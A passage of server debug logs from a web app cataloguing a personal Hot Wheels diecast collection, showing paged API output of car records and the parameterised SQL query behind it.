      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 98,
      model_name: 'Peugeot 9X8 Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-07T18:30:00.000Z',
      price: '279.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Peugeot',
      vehicle_brand_id: 121,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 91,
      model_name: '20 Jeep Gladiator',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-25T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: "HW Truckin' Along",
      brand_id: 71,
      series_id: 160,
      case: 'A',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 88,
      model_name: 'Chevy Blazer 4X4',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-02T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'P',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:06:30.368Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:06:30.368Z server-connect:app Executing action step identify
2026-02-03T13:06:30.368Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:30.368Z server-connect:output identity: 1
2026-02-03T13:06:30.369Z server-connect:app Executing action step restrict
2026-02-03T13:06:30.369Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:30.369Z server-connect:output restrict: undefined
2026-02-03T13:06:30.369Z server-connect:app Executing action step paged
2026-02-03T13:06:30.369Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:06:30.372Z server-connect:output list: {
  offset: 25,
  limit: 25,
  total: 70,
  page: {
    offset: { first: 0, prev: 0, next: 50, last: 50 },
    current: 2,
    total: 3
  },
  data: [
    {
      id: 67,
      model_name: 'Kei Swap',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 66,
      model_name: 'Hoto Roto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 65,
      model_name: 'Cruise Bruiser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 64,
      model_name: 'Renault Espace F1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 63,
      model_name: '15 Land Rover Defender Double Cab',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'Q',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 62,
      model_name: '83 Chevy Silverado',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 61,
      model_name: 'RRRoadster',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 60,
      model_name: '2018 Bentley Continental GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'Q',
      vehicle_brand_name: 'Bentley',
      vehicle_brand_id: 125,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 55,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 54,
      model_name: "Drift'n Break",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 53,
      model_name: 'Lamborghini Huracán Sterrato',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Safari Mode',
      brand_id: 71,
      series_id: 144,
      case: 'Q',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 52,
      model_name: 'Ferrari SF90 Stradale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'Q',
      vehicle_brand_name: 'Ferrari',
      vehicle_brand_id: 124,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 51,
      model_name: 'Volvo 240 Drift Wagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 50,
      model_name: '91 GMC Syclone',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 49,
      model_name: 'Porsche 911 Turbo Cabriolet',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'P',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 48,
      model_name: 'Formula E Gen3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Track Aces',
      brand_id: 71,
      series_id: 146,
      case: 'P',
      vehicle_brand_name: 'Formula',
      vehicle_brand_id: 139,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 47,
      model_name: 'Mazda RX-3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'P',
      vehicle_brand_name: 'Mazda',
      vehicle_brand_id: 137,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 46,
      model_name: 'Silverado EV RST',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'N',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 45,
      model_name: 'GT Shelby GT500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 44,
      model_name: 'Gordon Murray Automotive T.33',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'P',
      vehicle_brand_name: 'Gordon Murray',
      vehicle_brand_id: 138,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 43,
      model_name: 'Jaguar MK1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'M',
      vehicle_brand_name: 'Jaguar',
      vehicle_brand_id: 133,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 42,
      model_name: '73 Pontiac Firebird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'M',
      vehicle_brand_name: 'Pontiac',
      vehicle_brand_id: 134,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 41,
      model_name: '99 Ford F-150 SVT Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 40,
      model_name: " Ford Model A Custom '31",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 39,
      model_name: '74 Brazilian Dodge Charger - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Celebration Racers',
      brand_id: 71,
      series_id: 98,
      case: 'D',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:06:37.066Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:06:37.066Z server-connect:app Executing action step identify
2026-02-03T13:06:37.066Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:37.066Z server-connect:output identity: 1
2026-02-03T13:06:37.067Z server-connect:app Executing action step restrict
2026-02-03T13:06:37.067Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:37.067Z server-connect:output restrict: undefined
2026-02-03T13:06:37.067Z server-connect:app Executing action step paged
2026-02-03T13:06:37.067Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:06:37.071Z server-connect:output list: {
  offset: 50,
  limit: 25,
  total: 70,
  page: {
    offset: { first: 0, prev: 25, next: 50, last: 50 },
    current: 3,
    total: 3
  },
  data: [
    {
      id: 38,
      model_name: 'Porsche 904 Carrera GTS',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 37,
      model_name: '71 Lamborghini Miura SV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW 70s vs 90s',
      brand_id: 71,
      series_id: 99,
      case: 'D',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 36,
      model_name: 'EL Segundo Rally',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Track Champs',
      brand_id: 71,
      series_id: 100,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 35,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'Q',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 34,
      model_name: 'Track Dwagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 33,
      model_name: 'Track Dwagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 32,
      model_name: '20 Dodge Charger Hellcat',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'P',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 31,
      model_name: 'Ravenger S/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 30,
      model_name: "Custom '56 Ford Truck",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Celebration Racers',
      brand_id: 71,
      series_id: 98,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 29,
      model_name: '96 Dodge Viper GTS',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-04T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'Q',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 28,
      model_name: '1983 Porsche 928S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'P',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 27,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 26,
      model_name: 'Ferrari 365 GTB4 Competizione',
      release_year: 2025,
